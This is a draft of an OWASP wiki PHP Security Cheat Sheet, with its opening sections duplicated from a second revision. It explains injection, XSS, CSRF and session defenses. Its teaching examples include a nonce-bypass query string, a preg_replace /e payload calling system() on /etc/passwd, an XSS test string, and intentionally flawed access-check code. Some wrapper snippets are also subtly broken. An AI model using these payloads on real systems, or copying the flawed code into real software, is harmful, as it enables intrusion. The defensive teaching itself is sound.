[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:20:25Z

Luke Plant: /* OLD. PHP General Guidelines for Secure Web Applications */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:19:49Z

Luke Plant: /* Authors and Primary Editors */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

